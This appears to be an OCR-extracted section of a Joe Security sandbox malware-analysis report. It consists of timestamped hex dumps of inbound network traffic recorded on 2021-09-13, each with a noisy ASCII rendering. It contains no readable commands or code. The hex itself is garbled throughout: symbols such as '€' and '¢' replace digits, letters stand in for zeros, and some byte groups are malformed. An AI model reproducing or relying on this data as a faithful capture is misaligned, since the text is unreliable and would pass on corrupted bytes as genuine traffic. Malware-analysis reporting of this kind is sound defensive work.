2021-09-13 23:07:18 UTC 178 IN Data Raw: 63 e8 42 68 22 4c 89 a7 39 e7 6d bf fa 1b 4e ea 22 53 8f 3e 95 04 9b eb 07 fc 2d e5 73 Oe a9 09 86 43 a8 e7
c1 20 de 85 e4 84 06 69 4a b9 9b 6e 4b 5f ef 2e 36 ad 69 5a 9b b4 f9 98 ee 91 0f 7e 7b 9a 1f 16 cd e5 cd 7d 72 e5 7c a0
14 d7 1la c3 f3 7f 49 e4 a4 77 bb 62 9b 95 e2 6¢ 51 48 b8 5f 5a 30 01 7 11 b3 48 ec al 59 53 1f 9d e0 19 9c e2 ee 80 07
1c 48 €6 3d 53 d1 e7 94 b5 64 dd 54 c3 e0 e7 a5 d2 9c 8f 9b aa 60 1d f1 13 7d 39 5e 8b eb 9a 61 Ob 89 8d e7 64 9c 22 fd
54 d6 ee a2 25 ea df 58 80 00 b6 9b
Data Ascii: cBh"LIMN"S>-sC iJnK_.6iZ~{}r|lwbIQH_ZOHYSH=SdT }9%ad"T%X

2021-09-13 23:07:18 UTC 178 IN Data Raw: e3 cd 01 88 18 c1 b4 b7 82 13 e7 80 15 75 ea 42 ad 78 5e 1e a7 f4 8d 9f d6 ef 59 13 26 7e 17 59 55 28 83 a3
€0 56 b2 8e 7c 9d cb a5 f9 d6 8f f7 3f 11 b4 73 40 43 75 37 84 fd el 63 62 fO €6 95 34 cf bb aa 43 d3 a4 2b 11 cb be 08 9a
93 97 86 a8 8d ae 5¢ 1b e0 2c 30 af 4a 55 64 4d e3 5¢ 8b 67 7 a9 49 8¢ 02 el bd 78 d2 98 9c c2 58 36 68 87 a3 15 9a e0
54 7c¢ 17 16 0a 0d Oa b0 b7 ee 70 c2 13 ¢8 7c e3 2f ¢5 74 Oe b2 c8 al ac 14 17 86 2d 1e c6 a8 6e 9c 13 4a 8c 21 27 cf df
72 7b 56 dO bd el 52 1b cd 42 ea d2 f2 6f 70 ad da a7 a0 96 8f f5 c2 4d e5 0a 18 8c 9f 95 cf 22 b3 ee fa 4b b1 35 c0 90 82
82 f2 8a e0 bf 37 a4 d9 ab 9b ec a3 34 99 27 57 2d b1 74 5e ce 67 02 f7 cc 7c 27 00 ad c4 09 20 5¢ 80 4e a2 53 17 a6 79
88 c0 72 56 87 de ce 3f e2 d6 66 68 95 Oa cc 14 1b
Data Ascii: UBXY&~YU(V|?s@Cu7cb4C+\,0JUdM\gIxX6hT|p|/t-nJ'{VRBopM"K574'W-t*g|' \NSyrV2fh

2021-09-13 23:07:18 UTC 179 IN Data Raw: 26 42 89 1f e2 61 7a c5 8e 2d c3 2b b9 8e 7f f2 b4 db 63 db 73 be 44 60 1f 7f 93 50 86 53 55 66 72 14 fc 3a 89
23 68 b8 b8 ca 6a 7f ae 49 a3 68 35 57 65 b6 20 77 ef Of ac 48 08 ec db 2c 72 37 59 ae f0 93 bb dc 30 82 d4 f8 a8 af ca Oc
c5f3f2 55 e7 c5 2a db 77 82 71 12 1a ba 35 ce e6 c0 68 c4 e0 0f 24 cf 2b 36 81 54 55 cf d8 73 9f d9 4e 65 5c ec e6 e7 dc
dacl0de3e3 74 b4 c2 3e 45 bd 5e 19 a5 95 7a f2 a6 50 4e 41 69 6¢ 44 29 48 36 7c ec 61 ff a7 e6 78 2a 24 15 f5 d1 ab
0d al bd 8b 7a 87 f1 70 5¢ 75 cf 48 24 fb 69 5 de 7a cf fc 40 4f 47 74 73 Ob 58 af 4a 41 d8 08 fO 8a 42 43 1b c3 ea cb 87
85 3e ac 7a af 8d 9e 84 58 1d e6 0f a9 44 12 08 d0 9f c3 8f c9 7c 82 38 e5 6¢ 5a 2a 92 6e 4b 3c 2d 7e 5¢ 5f 6a 22 74 b6
47 4 9a 07 40 83 Oe f0 15 a3 7a 21 f7 e2 eb
Data Ascii: &Baz-+csD PSUfr:#hjlh5We wH,r7Y0OU*wq5h$+6TUsNe\t>E"zPNAIID)H6|ax*$zp\uH$iz@ O GtsXJABC>zXD
|81Z*nK<-~\_j"tG@z!

2021-09-13 23:07:18 UTC 180 IN Data Raw: ca 86 24 9a 86 18 13 b7 74 93 86 ce al bb f0 79 fe 4e 66 b4 57 c3 ee 61 5a de 3d 25 d8 9f 8d eb aa 76 1b 84
41 64 c5 42 9e 29 17 53 2c 45 Ob 4f 6a 92 26 e2 d9 bc b7 f4 64 59 ff e9 78 dd 3d fa 4d a6 9c f9 82 78 f9 29 25 07 e6 8f 24
25 47 be 7c 0f 9d be 36 c2 f7 54 06 8b 15 ¢6 5f f8 7c 91 1b d9 74 db 77 07 3f 5¢ 69 d5 a8 74 f3 €5 d5 19 c8 bb 62 84 de da
b3 ad fa 4f 77 3a 1d 2e 22 89 15 ca 8e 81 4b 68 cb 39 29 d3 ab 24 f9 0a 19 21 ba 3a 56 0b 30 a5 9b 77 cc 61 6e 49 fa 85
ab a6 96 10 89 49 2a bd 81 4e b8 53 74 ¢3 24 72 70 78 c1 8¢ 7d 2b 42 48 72 c¢7 ¢5 79 69 Oc 7a 8c cd c6 f3 51 79 25 8¢ e2
bd 91 34 1e 02 ea Ob 56 fb 2d 33 55 f1 81 c1 16 fb Ob 17 fa 00 a8 87 27 6¢ 1d el c5 b4 ff 5f 87 94 9e 4a 4a 6d 20 62 d8 ce
71 2f fc 5¢ 96 1d a5 59 39 b4 7f d6 cf 93 aa 67
Data Ascii: $tyNfWaZ=%vAdB)S,EOj&dYx=Mx)%$%G|6T_|tw?\itbOw:."Kh9)$!:VOwanII*NSt$rpx}+BHryizQy%4V-3U'l_JIm
bg/\Y9g

Copyright Joe Security LLC 2021 Page 55 of 91



kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 182 IN Data Raw: 7e 53 28 81 62 77 3a 7a 18 7d 64 ce c4 cc 06 ab 2b b7 9f 7c ec 4e 5 a7 €6 19 7b 44 1e f5 a3 ab 69 46 79 bc
012379 7d 34 3c fa 36 8b 45 19 1a 07 7a bb 96 da 6a 50 3c b0 37 97 64 4f 41 af 09 08 10 fb 90 1c 4e ea 61 5c 8f 3e bb
€327 07 73 81 48 b6 e4 0f a9 7d a7 84 c5 f1 7c 21 de 2f ae 26 4a 09 65 45 99 6e 39 59 9c ed 5d 5f b0 2c ac a3 88 63 €8
6d 2c fb 7c 47 6¢ 14 cd f2 de db 01 8f 79 d0 53 db 6d al 90 6a fb €5 d0 07 03 27 59 95 09 f1 b4 18 c1 e8 a5 36 7c 47 a2
11 49 fb 83 c4 26 2e 23 c1 de 58 0a 64 3f c0 99 74 68 4f 21 80 27 14 6e 5f 81 73 80 3f 52 a5 d2 10 95 05 fd a8 7e 50 b9 0f
4b 9d bf 24 f1 e4 d9 3d 8d e7 da f7 d5 ba d9 21 Oe 56 fe 9a 68 58 94 14 b3 8b fe cf 01 88 78 a7 d5 b4 82 bb el c3 b5 ee 9f
bd 25 7e 9 f9 d3 fb €8 f3 26 ed 59 86 ca 96 7e 9a
Data Ascii: ~S(bw:z}d+|N{DiFy#y}4<6EzjP<7dOANa\>'sH}|!/&JeEn9Y]_,cm,|GlySm]'Y6|GI&.#Xd?thO!'n_s?R~PK
$=IVhXx%~&Y~

2021-09-13 23:07:18 UTC 183 IN Data Raw: a8 5c 6f a5 0d Oe cd 8b 61 c1 de 55 50 5b 91 16 26 1f b2 98 65 30 7a 90 89 33 e6 03 26 44 fe 2d 10 c1 ef 37 6d
b9 e4 96 41 70 20 53 ba 96 28 97 e3 88 22 6a e2 8a f6 7e 6e b7 dc d2 cf 5¢c 9b 6e 93 65 4e bf e5 94 ec ce 4b b2 39 97 00
65 53 a3 3a 53 9d 42 ba 1a f6 3c 46 b1 1a 18 c2 e8 62 19 2a 59 67 73 1f a6 f3 a3 9e be 4f 6¢ 20 6b 9d 5b cb 86 8e d7 17
09 86 43 b4 f9 d3 3e 8b 88 aa ec 85 72 4c 80 19 6b e0 df 54 af dc ca 5 95 e7 56 6a 8c 4b 9e 60 b6 d6 59 9b 06 7e 97 Od
d0 02 6b aa 04 a5 cb 4a 08 cd 31 3d 74 d7 8b fb 43 10 ba 12 9b c1 51 82 e5 96 31 47 2b 30 fa 53 23 bd 7d af el Oc d4 a5
ed 3d 1b 6 63 ce 4f 6f 6d 4d da e5 b6 e4 17 74 74 13 02 10 ec 2a ea f8 0d a7 14 ba 1c 5b 4b 13 08 ca b9 59 cc 2b 12 03
7e f2 6a dd 31 ae 01 cd 7b da 1c a8 ee 71 65 ae f3 66
Data Ascii: \oaUP[&e0z3&D-7mAp S("j~n\neNK9eS:SB<Fb*YgsOl k[C>rLkTVjK'Y~kJ1=tCQ1G+0S#}=cOomMtt*[KY+~
j1{qef

2021-09-13 23:07:18 UTC 184 IN Data Raw: 72 fd 00 a3 14 d7 9d e8 78 d2 5e bf 19 47 ac 5f 64 7d 6f 6¢ 29 06 be 5f 2f 63 19 ac 60 10 49 9b 32 02 9d 39 35
c5d6 74 61 9d 7a b2 5e 74 11 4f 21 3d 26 14 6e 3e 4c a5 b8 45 97 d7 d8 11 1a 12 1b e8 80 47 99 b4 38 2a cb 96 ee 3c
b4 ec 1f e7 da 94 13 12 08 8¢ 9b c8 {7 d7 54 82 03 b0 b8 49 b4 bd 73 f7 62 a3 15 a2 83 af 92 b1 74 94 ec bf 52 04 74 43
d0 44 8b 6f ¢5 90 68 ed 46 7c f2 d2 99 10 8b 9f d5 a8 c0 40 54 6d e2 a4 05 c2 6¢ e3 ef b1 18 a5 76 54 1b f6 c8 0d el e9
7c 3e d2 6f 7c 33 13 28 5d 5e c1 48 64 ca be 0a 0f b5 14 ff 55 fe dc 6b 97 f7 2a ed 68 3c c1 e3 4d e3 8 85 67 {7 e7 89 99
eb f6 c2 f7 ca 52 0a 7d 8a 12 €5 87 c¢6 77 90 e0 23 11 1a b2 Ob 0d 88 7b da 98 ca 68 13 d0 2c e6 2f c5 71 Oe 91 cf al ac
ac 5b 36 4f 14 53 27 b3 9c 76 4c 88 21 50 a2 fe fe 84
Data Ascii: rx"G_d}ol)_/c'1295taz tO!=&n>LEG8*<TIsbtRtCDohF|@TmlIvT|>0|3(]*HdUk*h<MgR}w#{h,/q[6 OS'VL!P

2021-09-13 23:07:18 UTC 185 IN Data Raw: 8f db ab bd 35 4f e6 26 9b 36 3d 7a 50 d4 64 30 d8 6f 19 e0 93 9b 3b e6 05 41 74 cc 4b 68 d5 c3 61 aa 76 00
fd c4 f6 32 54 ca 6d da 8b 8f e6 5a a2 04 ff 42 be 15 8e de 91 75 eb 42 5 2c a9 9e 11 1f dd d0 43 16 f6 al e5 84 57 b6 3a
d8 92 4d f0 9c b6 e4 15 c1 1c 08 3e ec ae al 3c 73 46 81 22 26 d4 5b 1b 9e ed ae c6 ee 33 4e cc 8f 68 ff d8 50 b5 3e 26
b4 f5 9f 6b 5f ee Oc b9 53 Oc 14 8a dc 8a 0d 9e Ob 3 83 70 d4 Ob 7a be 70 d5 58 69 c1 ¢8 77 bb 61 11 b3 df 3b 9b 72 a9
89 c9 df e2 d7 99 02 57 dd 20 17 58 f8 68 6e bb b6 bd f3 6a 07 e7 c5 cd 3d e6 3f Ob 65 99 77 21 31 3e 4e f5 b2 5a 0d 92
2d 10 8c f4 df 8e 52 68 0a 88 25 bf f1 bb 8 f5 95 2d ef 39 5b 04 da al 4a 3d 68 20 9a 8f 6d 82 2d 45 d7 b0 6d 4e c9 fa 7a
aa d0 c5 11 9b 65 e4 47 de f1 5f 9f fa 1f 87 63 a0
Data Ascii: 50&6=zPd00;AtKhav2TmZBuB,CW:M><sF"&[3NhP>&k_SpzpXiwa;rW Xhnj=?ew!1>NZ-Rh%-9[J=h m-
EmNzeG_c

2021-09-13 23:07:18 UTC 187 IN Data Raw: 1b ff 78 6b 48 62 bd c1 cd d6 85 5d 1f 10 5e c5 7d 69 72 5d ca 3b 7c 8c bb a2 f2 4e 63 b1 3d da c1 64 fbh 96 68
1 2c b3 19 aa 87 09 83 1a bd 30 4a 43 ff ae 11 ba e5 2c 27 50 86 57 d3 90 d7 80 c8 d0 08 87 c1 40 eb f6 b0 9a 5¢ 9d Ob
7d 26 34 94 43 7e 30 8f ad e3 94 18 f4 c4 Oc 9f 25 62 26 cf c1 61 9b 81 e4 9a d2 7f b3 84 ce da 93 4b 1f 80 b0 eb 39 da b3
51 64 4d 88 36 04 1f ec ff 28 db 04 a4 96 20 78 b1 f8 f1 fc 6b ab 94 ba ec b2 d3 e4 53 e3 ce 81 6d 4f 4f {7 12 e3 ce 22 4f
ch 61 be f2 b 4a fa e3 f0 a8 8d 93 b8 33 d3 a3 c8 7d 74 a2 23 df 81 61 2b 24 f8 15 06 11 ee e0 3a 93 5¢c 73 ed 60 75 8f e4
42 63 a0 c6 9b a8 18 1a b3 08 66 f3 a4 bc 4a d1 a0 eb 29 ee 1c d1 22 92 15 Oa al b9 f1 32 6b 54 c8 68 aa 24 7b eb bf 92
€0 d8 7c 20 55 4d 20 76 cc 61 ae 61 37 8¢ 92
Data Ascii: xkHb]"}ir];[Nc=dh,0JC, PW@\}&4C~0%b&akK9QdM6( xkSmOO"Oal3}t#a+$:\s uBcfl) 2kTh${| UM vaa7

2021-09-13 23:07:18 UTC 188 IN Data Raw: 16 00 fb 89 40 b8 ed 4c 7c 98 e3 41 09 Oc 9f 24 90 04 b2 70 0d 2f 01 95 4d dc 3b Oe fb 6e €3 b2 a8 f0 dc fc 43
9a dc 20 5 ae a5 d8 14 cc 1b 02 3¢ 73 ¢8 91 bf 76 ab 94 8d 05 2e 54 62 1b 16 f1 4f 83 67 7 d4 2¢ 56 60 34 81 20 30 f5 02
72 9f 7f 02 ba b9 8a 47 1f 94 59 69 e3 e0 41 6f 4b 3d 4b 45 5a 84 51 a7 3a 7a 6d 96 7a 03 66 1c 06 dc cc 3c 8c 19 21 e0
4f b0 9a 09 b3 76 27 60 32 ab c2 0f 7b bc f1 7d 89 Ob 22 75 89 13 f9 9e 22 6a df 7a cc 71 b8 6¢ 9e 75 Of 36 1d c6 4c 54 3¢
45 47 62 bf 2a e4 b6 b3 ae 86 84 c1 53 18 3e 12 8f 66 a0 cf 71 92 db 36 b7 7b d2 9f fa 5a 31 5b 1c 39 47 09 73 14 98 6e
de a6 a9 93 b2 5f 1e 58 ec ce a9 e4 e8 6d 94 e7 d7 f1 67 81 5d 97 ab 86 00 8f Ob d5 6e 3a 6d al 87 6a c8 3d d1 46 39 d7
9c 18 f2 1e 23 07 ¢9 25 b6 44 Oe fO be 85 90 ed
Data Ascii: @L|A$p/M;nC <sv.TbOg,V 4 0rGYiAoK=KEZQ:zmzf<!Ov"2{}"u"jzqlu6LT<EGb*S>fq6{Z1[9Gsn_Xmg]n:
mj=F9#%D

2021-09-13 23:07:18 UTC 189 IN Data Raw: 34 74 77 1b 3a 52 Oa 6f 43 ea eb 3f 16 32 bb 79 3d b6 54 fb e3 ce 14 bb 87 16 66 69 96 cf 55 35 ee 77 9f 26 ed
9f b2 7c 82 4f 66 €0 ca 9b a5 d9 bc Ob Oe 07 35 eb 55 77 ¢3 6¢ 75 67 el ee 9d 92 92 e5 26 00 9b 1a d1 99 a3 96 75 5b 8e
16 dac2 1d cO a0 67 84 de b9 31 72 al fc 73 2d 10 Of b6 1a f2 e8 a6 ca 59 33 1c 2e ce 13 08 25 6¢ 86 7c b3 3e 4c ec c7
be 4a 53 de cd 16 d4 66 4c 2d 93 1c c1 f8 13 e5 99 e4 03 78 70 20 dc b0 96 28 {7 4b 9e 22 6a 90 ef Of ac 6f b7 5e a3 Ob 2f
33 7b 7c f2 26 ba cd 6a 9e bc 7b e0 e7 96 17 ec 77 d0 48 52 ee f0 81 7a 48 17 b8 4e 8d fO d3 81 9c 6d 88 9f c5 b4 48 58
87 94 fe 09 7a 6d 20 10 b5 ae a9 2e fc cd 5e 6¢ ca f7 4b 06 33 bb 6a 3e 55 98 a5 f4 62 34 e6 01 13 9a 31 b2 6¢ 35 1a 12
4a fa 19 fe 9¢c 85 ¢4 68 c0 90 12 74 Oc 90 7e a2 0d
Data Ascii: 4tw:RoC?2y=TfiU5w&|Of5Uwlug&u[glrs-Y3.%I[>LISL-xp (K"jo"/3{|&{WHRzZHNmHXzm AK3j>Ub41I5Jht~

2021-09-13 23:07:18 UTC 191 IN Data Raw: 3b b1 46 ec 36 83 18 ba d3 23 75 32 4d b0 ed 6b 68 c8 a0 59 97 af d8 cc d4 a7 44 e5 el 39 a6 d3 7f 8a a7 ca
05 e4 2b 77 5b 5d 8f 49 d6 87 99 06 73 66 a9 1c 96 33 a8 44 58 6¢ d0 7c c2 20 4b cb 6e 4b d9 1f 28 cd ee 14 73 2a db el
4a 4a fd 59 9b 21 d7 96 9a 51 82 89 Oe 87 1d 23 cc €5 d9 7e 28 6¢ 0a a2 81 43 1f d3 bb 7c 49 e4 a7 3c 9a 5e ee 6a 0a 25
0 06 be ca 8b 36 7c cc a8 11 49 9b af 43 26 2 8a a4 22 80 1c 9a 27 4d 14 dd e5 3d 53 40 5d 20 6f 29 3b 7b d9 a6 e4 a5
47 97 68 60 1e 16 7 50 66 07 0a 2b bf 24 €6 €0 40 8a 8d 4f a8 92 18 04 d8 21 ec b2 be €9 df 58 83 91 27 f0 4b b8 7b b9
6e a3 15 79 8b 2a e9 81 03 ee 9f 42 fb 76 3f c2 d2 fb ff f2 77 Of 58 13 22 96 30 2¢ 66 87 64 ae 9d f8 a5 5d 8¢ 7b f2 b6 88
4f c0 5 96 06 92 6 56 ed e4 4c 37 4b 96 84 27 4b 11
Data Ascii: ;F6#u2MkhYD9+w[lIsf3DXI| KnK(s*JJY!Q#~(IC|I<N%6[IC&."M=S@] 0){Gh"Pf+$@O!X'K{ny*Bv2wX"0,fd]
{OVL7KK

2021-09-13 23:07:18 UTC 192 IN Data Raw: €5 66 e2 ed 20 3b 8f 03 71 ef 02 c7 ef c3 e4 04 82 31 3e 54 10 b2 fa 49 72 79 4d 2c 31 79 ¢8 01 08 Oe de 53 cO
52 1c e4 9d 6e b9 39 80 1a 91 e5 a2 af 77 9d 82 ad 0f 32 89 ce 34 ad e5 bf 5f 8a 4d 5 4f b7 53 7d 2b f5 b8 8b 73 7 1b 5a
0f a0 d1 77 38 cf 8d 2d 1e 7 60 39 74 68 c3 f6 3f 22 e2 ac 67 bc 35 f1 d2 7c e9 43 8f e0 47 68 49 32 61 18 89 e6 8f 62 b6
c187 e3 ee 7f 38 ea 39 7f 12 86 06 b2 8e 8a 73 d1 41 4f a3 cc e7 13 55 45 7a 69 80 d7 be 15 6f 38 f4 ca 75 40 {5 58 34
€282 2156 a5 a6 c0 a6 1b 1a f6 52 83 2d da 92 5a e6 cc 5f e5 63 ee e4 42 {6 ¢3 11 5e c3 fb 40 a9 db 30 e3 b3 40 89 7b
bl 16 2b be 10 7c b4 7f 85 62 b7 48 a9 01 da f4 88 1e 68 8e 6f 6e ae f3 14 cc f2 ¢7 40 9f ed 4c 7c 70 e8 eb 7a 27 08 a3 e2
61 3a 9a Oc 2f 04 9d 51 dc 3b Oe 1c 92 c4 1c
Data Ascii: f ;g1>TlryM,1ySRn9w24_MOS}+sZw8-'9th?"g5|CGhl2ab89sAOUEZzio8u@X4!VR-Z_cB "@0@{+|bHhon@L |pz
‘a:lQ;
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Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 193 IN Data Raw: 5¢ d4 76 27 39 77 5f 6d 63 88 Oa fd 4d df e0 e4 3d 24 4d 88 15 6e 29 2c 7c 54 44 e5 30 03 62 68 ab 23 17 7f
27 6b d3 38 2a bf 33 d2 7e a2 8b 25 95 a8 59 25 05 d8 56 el 65 8d e8 df 4f al f9 c5 f1 de 48 73 fa d6 a2 15 b5 f5 69 3f b0
02 ee 88 f5 bf 05 4d 51 al 89 46 e4 e6 ec 2e 69 fb e5 Oc 2d 71 dd 79 e6 62 20 c8 58 6e 7a f2 26 80 94 fa c4 96 f9 2b d8
e831 751536 f2el 74 3d a7 e4 78 e9 fb 55 d6 f4 2c 43 16 9a 65 a9 f8 58 ab 2d 2c 30 8d 64 6a 1d e0 59 00 7e bf b9 65 3f
2898 63 1b f6 60 7e bf 7f 06 b0 92 6b 99 Ob 7d 08 16 7a f4 d1 04 e2 58 55 6b Of 8a f4 f2 88 fe fd 98 ca c1 eb b9 4f 15 cO
88 b1 8b fl el b6 df 9b 9a 03 €8 52 59 d5 76 11 76 b9 68 20 27 ac e2 e8 68 07 89 e4 e7 09 Oc f0 55 7¢ 58 b7 93 3a c8 Ob
ce a6 96 26 5 fb 61 1a f5 16 bc 9b 91 cf 22 76
Data Ascii: \v'9w_mcM=$Mn),| TDObh#k8*3~%Y%VeOHsi?MQF.i-qyb Xnz&+1u6t=xU,CeX-,0djY~e?(c’ ~k}zXUKORYvvh
‘hU|X:&a"v

2021-09-13 23:07:18 UTC 194 IN Data Raw: 7f 8f ab 04 b2 f9 87 eb cc 43 4f b4 c7 79 fa 54 dO dc 61 e9 3a bf 15 fa 9e fc 59 58 42 f5 4f Oc 4f 6b 20 c3 96 a6
c0 65 18 1a f6 52 83 d7 d9 92 5a e6 1f 45 e5 63 ee fe 42 f6 00 12 5e c3 fb 40 6f d8 30 e3 b3 b1 93 7b b1 c¢9 23 12 3d 7e
b4 b3 fb 21 d5 97 a8 01 cd bd c9 6d 1a 17 14 79 ac e4 75 f2 fa fe 48 fb 00 4d 7c 8f b1 d0 f7 a3 1d dc 10 77 f8 db 7f 5d 98
ee 7d de 4e 29 fb a5 c9 b2 a8 el d9 69 75 99 32 ad b2 41 64 a8 66 22 0d c5 e4 65 5b 14 c4 58 db e6 63 70 12 23 39 c9
eb e6 eb 07 c4 e0 7b d4 3f 5d c4 6e 6d 90 df ae 5¢ 88 63 55 0f 44 2c 06 €8 a5 11 39 86 al a2 c7 5¢ 38 25 ad d7 82 2f b2
38 ad 18 b1 16 c8 4e 67 44 54 d4 b7 9f 7c 2c ad e2 ba 02 f1 af 8f 28 e2 22 06 4f b9 05 bb 0f 9a fc 89 dc 8a ba 73 4c 94 dc
97 ab 4e ac b1 49 4c 47 00 08 21 88 69 c7 59 af
Data Ascii: COyTa:YXBOOk eRZEcB @ o0{#=~!myuHM|w]}N)iu2Adf"e[Xcp#9{?]nm\cUD,9\8%/8NgDT|,("OsLNILG!iY

2021-09-13 23:07:18 UTC 196 IN Data Raw: e5 78 a2 33 ef 43 e3 1a 09 5e 65 b8 cc e7 bd aa 2d f0 65 €8 df Of 1f e0 5e 55 66 32 54 64 06 2b ec 12 70 4d 79
f2 8f 91 d2 32 9b f2 67 f4 82 6b bf 80 39 8¢ 74 90 92 26 3¢ 01 b3 Ob a3 eb 60 07 Oc ac ¢3 61 d6 Oc de 95 c6 95 63 12 24
a0 ac cf 54 8a f4 0f d1 47 9c ec 61 3f fa 1e 29 d8 ed 51 fO 9e 61 a3 f5 22 78 b3 65 d3 51 4b fe 95 f0 a6 3f al 96 26 08 79
bf a2 0a f1 ce c7 e4 b5 05 41 48 76 eb 12 55 5d 3b 91 83 da 8c a5 81 89 a7 48 ab al 9e a3 34 9f 7a 14 1b a6 Oc da 8b 9b
ef 6221 90 d4 ef al d7 8a ec 8c 81 e2 8a ac €8 7c¢ 18 1d 95 06 66 84 c9 83 al d0 a0 8e 01 05 13 d1 b7 0d 3f 92 d5 b8 83
40 4b 20 b9 69 93 9e 6f 10 7c f4 Oa 4c ec 26 16 2f 50 28 ce 16 a6 63 59 82 92 1c 6f 9b 17 2c a2 83 94 ee 76 65 4d Ob 95
b8 97 a8 71 21 6a e2 8a 26 7c 6e b7 dc a2 93 5¢ 9b
Data Ascii: x3C"e-e"Uf2Td+pMy2gk9t&<'ac$TGa?)Qa"xeQK?&yAHVU];H4z]!|f?@K io|L&/P(cYo,veMq!j&|n\

2021-09-13 23:07:18 UTC 197 IN Data Raw: c7 9f 4f 2f 4a 09 98 a8 17 bb 6e 89 al 03 be e3 c4 e4 00 ba al c1 58 a9 e0 82 66 6d cc 01 36 60 d8 3b c2 d2
b0 9a al db 5b 44 7e 2e 27 20 e3 c¢9 9c bd 67 12 55 8b 47 9b 2f 49 8b 43 ec 8e 87 65 c2 3e c7 94 84 6a 62 3a 7a 18 88
17 30 be 1d 06 70 3c da ca Of 9e 03 49 d5 94 c9 50 fb 1f 82 ab 1f b0 46 79 ab 54 96 87 d2 b6 a4 37 45 4c ec 6b 68 a8 00
7e 96 af 4d 50 cc f3 37 97 48 b3 d4 al cf f0 9d cb 72 9e f8 98 b9 5c 98 f5 50 bf 98 93 f4 81 48 a9 e4 0f a9 33 22 b8 d2 9f
€337 00 a7 1d 39 70 95 5a bf 5e 6e 4b 2b ac 9b 9f 5f 1e 58 8¢ 45 bb e5 e8 1a f9 48 Oe f0 67 d8 c4 dc a3 a9 00 8f Ob 5d
bd a5 1f 67 87 7d 49 3 2d ba ad 5f 9c 18 da 1le 23 07 4e 16 a5 eb 19 eb 54 10 49 45 a7 04 el 2e 8a b3 19 44 0a 80 72 3e
66 58 93 da 2f 36 de 99 5e bc ¢2 le cb 83 e5 a5 d2 07 35
Data Ascii: O/InXfm6’;[D~." gUG/ICe>jb:z0p<IPFyT7ELKkh~MP7HN\PH3"79pZ nK+_XEHg]g}l-_#NTIE.Dr>fX/6"5

2021-09-13 23:07:18 UTC 198 IN Data Raw: 50 4c 76 9f 31 68 29 6d 7d fO a8 0f 90 b8 33 b3 44 df 7e 74 d0 46 8c 56 60 2b 88 ce 64 Oc 73 43 83 38 e4 60 37
94 d7 8a 8f 06 62 63 a0 27 18 cd f7 ad 4d f7 12 ad aa f9 5¢ 96 67 03 8c 95 6f a3 14 13 67 78 c¢3 5e 02 33 1c 5¢c cb ca a3
24 6¢ bf d1 90 87 5a de Oc 27 38 53 04 6f 1f d4 11 0f 36 91 64 d6 c5 d4 3a 98 a2 79 99 b5 ad 63 58 62 29 80 45 31 34 8b
52 07 b6 06 47 c3 fc 27 f2 9a 64 85 d3 80 23 7b 5b 6b 9e ab 46 4d 38 97 65 Ob 5f ab 3a fa d6 4a 82 6b 25 f8 €0 4c 8d 95
cd e4 94 6d 1d 59 dd 32 e1 59 93 60 ce 5b 17 dO df 2c 37 5a bb Ob 5¢ 5d 96 1d d2 09 b4 f9 36 73 cd a8 da e6 05 9a 85 8f
e5 f0 83 be b0 e5 92 41 2d 72 63 87 18 fe e7 ad 90 cc 9e 67 45 f9 eb a8 0d d0 86 60 aa 04 8b f4 76 09 cd 43 fc b4 98 89
9 54 d0 82 61 e9 5e be 15 fa 9e fc 32 59 42 f5 4f 75
Data Ascii: PLv1h)m}3D~tFV +dsC8 7bc'M\gogx”3\$1Z'8S06d:ycXb)E14RG'd#{[kFM8e_:Jk%LmY2Y [,7Z\]6sA-rcg
E'vCTa"2YBOu

2021-09-13 23:07:18 UTC 199 IN Data Raw: 44 08 f0 9d bc 7f 71 3c 98 b9 4b f4 38 ae be 0d 95 01 81 ad 6e e4 0Of de 3e cc 7b d2 9f d4 ae d8 59 1c 4e 9f 8d
28 cd 99 1a 77 5¢ b9 73 5d 5f 1e 2e 39 a3 35 96 7e 6d 83 89 72 f7 9c 98 06 4a ce c8 06 8d Ob d0 66 40 6d al 87 8d 00 1b
751 13 59 ec 6a 1d 94 34 75 cc c9 5a 44 Oe 87 13 01 5e 2d d3 74 27 5b 38 a3 1b 94 69 20 98 80 10 5b 3 29 6d a2 dc 03
b8 2f 39 6¢ cb 37 73 a5 d2 10 Oc 45 dd e8 80 22 63 0 39 2a bf 1d 8b Oe a3 8b 8d le cd e2 23 07 d8 b4 01 ba fe 75 df 58
94 63 be 6d 4b cf 01 9f 7a a4 17 b5 17 94 el c3 9f ee 9f bd 25 7e d6 f9 d3 fb e8 cd el ee 59 86 ca 96 7e b0 66 87 94 90
18 cd b2 f2 6f 6d 9 18 8 3d 8c be 0f 06 e7 d1 35 7f 70 2f af f2 e1 63 2d e8 f2 0a €9 15 ec d7 f4 50 b4 a4 e9 01 11 6b fb ad
2f 85 30 8d 41 6b 1d e0 dc 6e 96 93 43 08 38 93
Data Ascii: Dg<K8n>{YN(w\s]_.95~mrJf@mQYj4uzZD"-t'[8i [)m/9I7sE"cO*#uXcmKz%~Y~fom=5p/c-Pk/0AknC8

2021-09-13 23:07:18 UTC 201 IN Data Raw: c4 7f 7c f2 46 3c af 6a 9e ce 1e 56 3c 97 17 6e e3 5¢ 3b fa 9d 82 aa 08 32 89 ae 5¢ 73 e6 bf 2d ef e2 18 4e b7
d1 fd a7 86 94 fb 01 40 69 20 10 b5 f9 89 2e fc 17 5e al 67 f6 4b 11 77 3f 7 3f 27 ea 7d 6e bc 35 f1 d0 6a 17 bc 68 1f 2a
1c 6530 76 51 00 9d 92 12 c4 0a 94 ba 06 69 6¢ 81 a3 0d 12 d8 2b b6 8e fd 1e d3 bc b0 5¢ a9 f9 8¢ 51 45 0d 04 f1 2b bf
15 88 9b 3d bb 59 42 e2 e0 27 bf 6a 52 e4 36 ¢3 81 7a 19 1a 84 57 fe 33 d8 92 4d 79 a3 b6 e4 11 09 54 36 84 ef 04 cd 3d
8d 3a c2 ab 77 e7 a4 e4 76 e4 4f bf 59 be 4e 65 be 7f f2 0f 06 b4 a8 01 bf 30 3f 06 68 f9 02 31 c9 f3 14 72 89 51 39 89 ef
5b ¢3 71 40 99 7a 7e 55 a7 e2 76 ef b8 f3 2e 76 9d 0Of 91 3d Oe ec cc ee 4d a9 58 dc fc 3a 92 dc 20 95 34 74 db 14 be 7e
a2 e2 72 c8fl 2e a6 a8 94 ff 03 59 29 00 36 03
Data Ascii: [F<jV<n\;2\s-N@i .gKw??'}n5jh*e0vQil+\QE+=YBjR62W3MyT6=:wvOYNe0?h1rQ9[q@z~Uv.v=MX: 4t~1.Y)6

